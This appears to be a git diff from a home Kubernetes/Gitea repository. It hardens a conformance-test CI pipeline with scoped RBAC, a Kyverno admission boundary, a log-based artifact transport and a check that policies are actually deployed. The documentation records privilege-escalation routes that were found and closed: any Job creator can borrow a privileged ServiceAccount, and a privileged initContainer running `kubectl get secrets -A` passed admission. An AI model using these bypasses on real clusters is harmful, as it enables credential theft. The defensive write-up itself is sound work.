# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
# that can `create jobs` in this namespace can create a Job with
# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
# access") while appearing to satisfy it.
#
# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
# THIS ServiceAccount only when they match the committed conformance shape. This Role is
# the necessary half; that policy is the sufficient half. Neither works alone — do not
# grant this Role without that policy reconciled and ENFORCING.
#
# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
# =============================================================================
apiVersion: v1
kind: ServiceAccount
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
rules:
# Create the run, and watch it to completion.
- apiGroups: [batch]
resources: [jobs]
verbs: [create, get, list, watch]
# Read the Job's pod and its log — this is how results come back. Deliberately NOT
# pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
# them from the log, so no execution channel into the runner pod is ever granted.
- apiGroups: [""]
resources: [pods, pods/log]
verbs: [get, list, watch]
# NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
# failed run), no secrets, no configmaps, no exec, no create on pods.
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: conformance-trigger
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
+111 -1
View File
@@ -60,6 +60,17 @@
# _artifacts/status/status.md human requirement-status report (--status)
# _artifacts/status/status.json machine requirement-status report (--status)
#
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
# conformance/_artifacts (the Job mounts a `results`
# volume, which cannot sit inside the git-clone target).
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
# checksummed base64 tar of the artifact tree to STDOUT,
# because `kubectl logs` is the only channel CI has out of
# the Job (no pods/exec, no kubectl cp). See the RESULTS
# TRANSPORT block below for the envelope and for the five
# checks a collector MUST make. Never set this locally.
#
# Run ledger (TRACKED — commit these; --record only):
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
# shellcheck source=versions.env
source "${CONF_ROOT}/versions.env"
ARTIFACTS="${CONF_ROOT}/_artifacts"
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
# path, because that path is inside the directory the init container `git clone`s into and
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
# a local run is byte-identical to what it always was.
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
COVERAGE_OUT="${ARTIFACTS}/coverage"
STATUS_OUT="${ARTIFACTS}/status"
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
exit "${RUN_RC}"
fi
###############################################################################
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
#
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
# ships its JUnit — the red report is the evidence the gate needs most.
#
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
# needed to PROVE completeness, and carries it TWICE:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the .tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
# never as "no artifacts", never as a pass:
# 1. exactly one BEGIN line and exactly one END line;
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
# means two interleaved or re-emitted envelopes in one log;
# 3. the count of body lines between them equals lines=;
# 4. the decoded byte count equals bytes=;
# 5. sha256 of the decoded bytes equals sha256=.
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
# which is the whole design requirement.
#
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
# against the Job's completion condition instead of trusting either signal alone.
#
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
# entry changed with the environment would be a trap for the collector. It unpacks the
# contents wherever it likes.
#
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
###############################################################################
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
conf_emit_artifacts_tgz() {
local rc="${1:-0}"
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
# change the run's verdict — nothing here can turn a red run green or a green run red.
trap - EXIT
(
set +e
local tmp tgz b64 bytes lines sha payload
tmp="${TMPDIR:-/tmp}"
tgz="${tmp}/conformance-artifacts.$$.tgz"
b64="${tgz}.b64"
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
rm -f "${tgz}"
exit 0
fi
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
rm -f "${tgz}" "${b64}"
exit 0
fi
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
cat "${b64}"
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
rm -f "${tgz}" "${b64}"
exit 0
)
exit "${rc}"
}
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
# emits a second envelope into its child's tee'd log.
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
trap 'conf_emit_artifacts_tgz "$?"' EXIT
fi
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
gen_coverage() {
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
@@ -0,0 +1,42 @@
# =============================================================================
# L0 STATIC — every authored admission policy is actually APPLIED (R-SEC-01, R-SEC-02)
# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
#
# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
#
# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
# would have skipped this check on the very commit that introduced the defect.
# =============================================================================
apiVersion: chainsaw.kyverno.io/v1alpha1
kind: Test
metadata:
name: admission-policies-actually-applied
labels:
conformance.home.k3s/R-SEC-01: "true"
conformance.home.k3s/R-SEC-02: "true"
annotations:
conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
conformance.home.k3s/layer: "L0"
conformance.home.k3s/scope: "whole-repo"
conformance.home.k3s/safety-critical: "false"
conformance.home.k3s/executable: "true"
conformance.home.k3s/intent: >-
Every ClusterPolicy authored under platform/kyverno/ is either referenced by
platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
exemption that is genuinely not applied — so a policy cannot be authored, tested,
green, and absent from the cluster.
spec:
steps:
- name: every-authored-policy-is-applied-or-documented-ci-only
description: >-
Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
try:
- script:
content: bash ./check.sh
@@ -0,0 +1,120 @@
#!/usr/bin/env bash
# =============================================================================
# L0 static check (offline, no cluster) — admission-policies-actually-applied
# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
#
# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
#
# platform/kyverno/ holds THREE lists, and only one of them applies anything:
# 1. platform/kyverno/admission/kustomization.yaml — reference only. Its own sibling says
# "kept as reference; THIS file is the buildable render root".
# 2. platform/kyverno/kustomization.yaml — that render root: namespace +
# HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
# 3. platform-config/kustomization.yaml — THE ONE. Kyverno CRs go here because
# they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
#
# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
# what the conformance CI trigger may create) was added to (1). Everything went green: the file
# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
# `platform` Ready at the new revision — and the policy was never in any applied set. The
# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
# which is precisely the state that identity's own RBAC header says must never exist.
#
# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
# DEPLOYED. This check asserts the second thing.
#
# GIVEN the repository as git tracks it,
# WHEN every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
# THEN each one is either referenced by platform-config/kustomization.yaml (so Flux applies
# it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
# policy that IS applied, so the exemption list cannot rot into a lie either way.
# =============================================================================
set -euo pipefail
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT="$(cd "${DIR}/../../../.." && pwd)" # repo root
exec python3 - "$ROOT" <<'PY'
import sys, subprocess
from pathlib import Path
ROOT = Path(sys.argv[1])
FAILURES, CHECKS = [], 0
def check(cond, desc):
global CHECKS
CHECKS += 1
if not cond:
FAILURES.append(desc)
# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
# that silently starts being applied is as much a lie as one that silently stops.
CI_ONLY = {
"disallow-plaintext-secrets":
"CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
"admission because Flux decrypts before the Secret reaches the API server. Its "
"in-cluster counterpart is admission/secret-provenance.yaml.",
}
tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
"platform/kyverno/*.yaml"],
cwd=ROOT, capture_output=True, text=True, check=True)
files = [ROOT / p for p in tracked.stdout.split("\0") if p]
# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
policies = {}
for f in files:
try:
txt = f.read_text()
except Exception:
continue
if "kind: ClusterPolicy" not in txt:
continue
for line in txt.splitlines():
st = line.strip()
if st.startswith("name:") and " name:" in line:
policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
break
check(len(policies) >= 6,
f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
f"too few means the scan broke, and every assertion below would be vacuous")
applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
unapplied, wrongly_exempt = [], []
for rel, name in sorted(policies.items()):
# platform-config references these as ../platform/kyverno/...
referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
if name in CI_ONLY:
if referenced:
wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
elif not referenced:
unapplied.append(f"{name} ({rel})")
check(not unapplied,
f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
check(not wrongly_exempt,
f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
for name, reason in CI_ONLY.items():
check(bool(reason.strip()),
f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
f"list stops being reviewable")
check(CHECKS >= 4,
f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
if FAILURES:
print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
file=sys.stderr)
for f in FAILURES:
print(f" - {f}", file=sys.stderr)
raise SystemExit(1)
print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
f"not that they are correct — `kyverno test` is what proves correctness.")
PY
@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
"runbooks", "clusters", "bootstrap", "catalog")
# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
# routes and make (8) demand the operator's dashboard link them.
#
# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
# hostname-publishing Service. If that ever stops being true the check fails and the tree must
# become a real delivery root.
NON_SERVING_RECONCILED = ("conformance/incluster",)
def tracked_yaml() -> list[Path]:
out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
# a path of them would fail on a file that is correct.
reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
def _reconciled_path(d):
return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
unscanned = sorted({
f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
for p, d in reconcilers
if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
not in DELIVERY_ROOTS
if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
and _reconciled_path(d) not in NON_SERVING_RECONCILED
})
# The exemption's own guard: an exempted tree must actually serve nothing.
exempt_serving = sorted({
f"{p.relative_to(ROOT)} ({d.get('kind')})"
for p, d in docs_all()
if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
and (d.get("kind") == "HTTPRoute"
or (d.get("kind") == "Service"
and any("hostname" in str(k).lower()
for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
})
check(not exempt_serving,
f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
f"gains a route would hide a service from this check entirely "
f"{exempt_serving if exempt_serving else ''}")
check(len(reconcilers) >= 10 and not unscanned,
f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
f"reconciled tree this check does not read is a service it cannot require a link for "
+57 -6
View File
@@ -33,29 +33,67 @@ agents. So the credential model must be decided by the operator before anything
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
> run" this stage attempts can never succeed; it can only skip and, before the guard added on
> 2026-09-29, lie about it.
>
> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
> not enable L2/L3, it only changes which way this stage fails.
---
## 3. Gaps to close (functional)
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
entrypoint path and the Job pins that uid — see §4.)*
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
`CHAINSAW_VERSION` as the single source of truth the image is built from.
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
install the entrypoint at that exact path) and provision that Secret (item 6).
Original text: → Add an
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
`--requirements` are injected by the CI trigger step as Job env/args.
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
still ships its red JUnit — that prints the artifact tree as a base64 tar between
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
collection instead of decoding to plausible garbage; the five checks the collector owes are
spelled out above that function. It lives in `run.sh` and not in the Job because admission
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -91,6 +129,19 @@ stack):**
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
same. Both are now covered by
`trigger-initcontainers-must-be-the-committed-clone-step` and
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
field that can carry executable intent, and a `pattern` over an array only asserts *at least
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
+53 -6
View File
@@ -55,8 +55,27 @@ All four steps are complete and each was verified, not assumed:
| 4. Collaborator + approvals | ✅ `jakman85` is owner; `required_approvals: 1` |
Direct push to `main` was **provoked and rejected** (`pre-receive hook declined`) as
`gitea-admin`, a site admin — so protection is not merely declared, it holds for the account
agents authenticate as.
`gitea-admin`, a site admin — so push protection is not merely declared, it holds for the
account agents authenticate as.
### 5. Block the admin override — the step the first pass MISSED
`enable_status_check` and `required_approvals` were set on 2026-09-29 and **still did not
bite**, because `block_admin_merge_override` was `false`. Gitea lets repo admins override
merge requirements without it, and `jakman85` holds `owner` — so the two settings that looked
like the gate were overridable by precisely the account that merges.
**The evidence was sitting in plain sight:** PRs #5 through #9 all merged with
`required_approvals: 1` in force and **zero approvals recorded on any of them**. Checking the
*branch* view (`/branches/main`) hid this — it does not expose the field. Read the rule object
(`/branch_protections/main`) and enumerate its keys.
> **Do not probe for field names you assume exist.** This Gitea (1.24.3) has no
> `apply_to_admins`; asking `jq` for it returns `null`, which reads like "set to false" but
> means "key absent". Enumerate with `to_entries` and act on what is really there.
Now `block_admin_merge_override: true`. **That is still only a setting, not evidence** — it is
proven when a green PR is REFUSED a merge until approved, and not before.
### `require-gate.sh` / `verify-then-enforce.sh`
@@ -67,6 +86,32 @@ enabling enforcement and probing the push. `require-gate.sh` is the enforcement
Re-run `verify-then-enforce.sh` after any future change to the act-runner Deployment.
### `expected-branch-protection.json` + `ci/gitea-settings.sh` — the detector
`expected-branch-protection.json` **declares** the desired rule. `ci/gitea-settings.sh` runs as
a merge-gate stage, reads the LIVE rule, and **fails the gate on any divergence** — plus asserts
at least one runner is online. It is the only thing in this repository that can see Gitea's own
database.
It reads `/branch_protections/main`, not `/branches/main`: the branch view does **not** expose
`block_admin_merge_override`, and it showed all-green for hours while the rule was overridable.
Behaviour, proven by test rather than assumed:
| Situation | Exit | Effect |
|---|---|---|
| live matches the declaration | 0 | green |
| any key drifted, or no runner online | 1 | **blocks the merge** |
| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
The skip is deliberately *not* a block: an unwired credential blocking every PR is the
lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS=true` in
`gate.yml` so a future missing token blocks instead of skipping.
**Changing the declaration is how you change policy.** If the live state is what you now want,
edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
### Why these scripts exist at all, and what is still missing
Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
@@ -75,10 +120,12 @@ the root cause of the entire 2026-09-29 session: branch protection was off and t
gone for a month while the log recorded both as working, and **no check existed that could
have caught it.**
These scripts encode the desired state and can re-assert it, but they are not a detector. The
durable fix is a conformance check that reads the live Gitea API and fails when it diverges
from what is declared here — turning a class of silent, invisible failure into a loud one.
**That check does not exist yet and is the highest-value remaining work in this directory.**
These scripts encode the desired state and can re-assert it; `ci/gitea-settings.sh` above is the
**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
root cause of the 2026-09-29 session.
It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
detector detects nothing. That is the remaining step.
## Historical sequence (kept for context)
+36
View File
@@ -0,0 +1,36 @@
#!/usr/bin/env bash
# Stop repository admins from overriding the merge requirements on `main`.
#
# WHY. Gitea lets repo admins override branch-protection merge requirements unless
# `block_admin_merge_override` is set. It was FALSE, and jakman85 holds `owner` -- so
# required_approvals and the required status check were both overridable by the one account
# that actually merges. Evidence: PRs #5-#9 all merged with ZERO approvals recorded against
# `required_approvals: 1`.
#
# NOTE ON FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins` field. Querying it with jq
# returns null, which reads like "set to false" but actually means "key absent". Enumerate the
# real keys (`to_entries`) rather than probing names you assume exist.
#
# Recoverable: an owner can PATCH this back to false if it gets in the way.
set -euo pipefail
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
